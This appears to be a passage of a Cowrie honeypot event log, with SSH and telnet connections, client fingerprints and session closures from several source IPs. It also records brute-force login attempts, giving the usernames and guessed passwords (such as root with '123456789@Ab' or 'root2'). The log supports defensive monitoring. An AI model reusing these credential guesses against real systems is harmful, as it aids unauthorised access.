{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:18:19.708537Z","src_ip":"103.84.236.222","session":"5d2062d56eee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789@Ab","message":"login attempt [root/123456789@Ab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:18:20.683352Z","src_ip":"103.84.236.222","session":"5d2062d56eee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:18:21.923942Z","src_ip":"103.84.236.222","session":"5d2062d56eee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":16398,"dst_ip":"10.17.0.5","dst_port":22,"session":"397bfb425583","protocol":"ssh","message":"New connection: 130.12.181.85:16398 (10.17.0.5:22) [session: 397bfb425583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:18:25.760878Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:18:25.768959Z","src_ip":"130.12.181.85","session":"397bfb425583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":16406,"dst_ip":"10.17.0.5","dst_port":22,"session":"16fee7ed6bdb","protocol":"ssh","message":"New connection: 130.12.181.85:16406 (10.17.0.5:22) [session: 16fee7ed6bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:18:25.870420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:18:25.875367Z","src_ip":"130.12.181.85","session":"16fee7ed6bdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:18:25.985165Z","src_ip":"130.12.181.85","session":"16fee7ed6bdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:18:26.336719Z","src_ip":"130.12.181.85","session":"16fee7ed6bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:18:27.442785Z","src_ip":"130.12.181.85","session":"16fee7ed6bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":21653,"dst_ip":"10.17.0.5","dst_port":23,"session":"82b1dce7aba4","protocol":"telnet","message":"New connection: 212.55.149.117:21653 (10.17.0.5:23) [session: 82b1dce7aba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:09.843584Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":42354,"dst_ip":"10.17.0.5","dst_port":22,"session":"03c747db7adc","protocol":"ssh","message":"New connection: 103.84.236.222:42354 (10.17.0.5:22) [session: 03c747db7adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:15.991550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:15.999264Z","src_ip":"103.84.236.222","session":"03c747db7adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.163.30.209","src_port":45776,"dst_ip":"10.17.0.5","dst_port":22,"session":"7402e4b7c2bd","protocol":"ssh","message":"New connection: 20.163.30.209:45776 (10.17.0.5:22) [session: 7402e4b7c2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:16.049660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:16.056945Z","src_ip":"20.163.30.209","session":"7402e4b7c2bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:16.125856Z","src_ip":"20.163.30.209","session":"7402e4b7c2bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:16.235578Z","src_ip":"103.84.236.222","session":"03c747db7adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.163.30.209","src_port":45780,"dst_ip":"10.17.0.5","dst_port":22,"session":"b658af918b7c","protocol":"ssh","message":"New connection: 20.163.30.209:45780 (10.17.0.5:22) [session: b658af918b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:16.264941Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:16.269196Z","src_ip":"20.163.30.209","session":"b658af918b7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:16.273990Z","src_ip":"20.163.30.209","session":"b658af918b7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8520","message":"login attempt [root/8520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:17.207507Z","src_ip":"103.84.236.222","session":"03c747db7adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:18.445852Z","src_ip":"103.84.236.222","session":"03c747db7adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.122.234.227","src_port":52222,"dst_ip":"159.203.135.109","dst_port":23,"session":"4610aab27b23","protocol":"telnet","message":"New connection: 138.122.234.227:52222 (159.203.135.109:23) [session: 4610aab27b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:21.774471Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:26.047945Z","src_ip":"20.163.30.209","session":"7402e4b7c2bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.935632467269897,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:33.709997Z","src_ip":"138.122.234.227","session":"4610aab27b23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.17.176.41","src_port":33072,"dst_ip":"159.203.135.109","dst_port":23,"session":"dec190776103","protocol":"telnet","message":"New connection: 186.17.176.41:33072 (159.203.135.109:23) [session: dec190776103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:43.016377Z"}
{"eventid":"cowrie.session.closed","duration":12.572041034698486,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:19:55.588326Z","src_ip":"186.17.176.41","session":"dec190776103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.45383620262146,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:20:10.297331Z","src_ip":"212.55.149.117","session":"82b1dce7aba4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":58856,"dst_ip":"10.17.0.5","dst_port":22,"session":"76404e1ae1a7","protocol":"ssh","message":"New connection: 103.84.236.222:58856 (10.17.0.5:22) [session: 76404e1ae1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:20:11.198323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:20:11.205808Z","src_ip":"103.84.236.222","session":"76404e1ae1a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:20:11.443645Z","src_ip":"103.84.236.222","session":"76404e1ae1a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pkpkpk","message":"login attempt [root/pkpkpk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:20:12.407785Z","src_ip":"103.84.236.222","session":"76404e1ae1a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:20:13.660194Z","src_ip":"103.84.236.222","session":"76404e1ae1a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":53540,"dst_ip":"10.17.0.5","dst_port":22,"session":"b309f9914724","protocol":"ssh","message":"New connection: 103.15.226.202:53540 (10.17.0.5:22) [session: b309f9914724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:20:53.352343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:20:53.357578Z","src_ip":"103.15.226.202","session":"b309f9914724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:20:53.604683Z","src_ip":"103.15.226.202","session":"b309f9914724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3.1415926","message":"login attempt [root/3.1415926] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:20:54.355540Z","src_ip":"103.15.226.202","session":"b309f9914724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:20:55.605949Z","src_ip":"103.15.226.202","session":"b309f9914724","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":47122,"dst_ip":"10.17.0.5","dst_port":22,"session":"de00fc9155c1","protocol":"ssh","message":"New connection: 103.84.236.222:47122 (10.17.0.5:22) [session: de00fc9155c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:21:09.914238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:21:09.919125Z","src_ip":"103.84.236.222","session":"de00fc9155c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:21:10.154358Z","src_ip":"103.84.236.222","session":"de00fc9155c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2","message":"login attempt [root/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:21:11.125544Z","src_ip":"103.84.236.222","session":"de00fc9155c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:21:12.363830Z","src_ip":"103.84.236.222","session":"de00fc9155c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":57121,"dst_ip":"10.17.0.5","dst_port":22,"session":"7621d9068777","protocol":"ssh","message":"New connection: 2.57.121.112:57121 (10.17.0.5:22) [session: 7621d9068777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:00.359200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:22:00.364128Z","src_ip":"2.57.121.112","session":"7621d9068777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa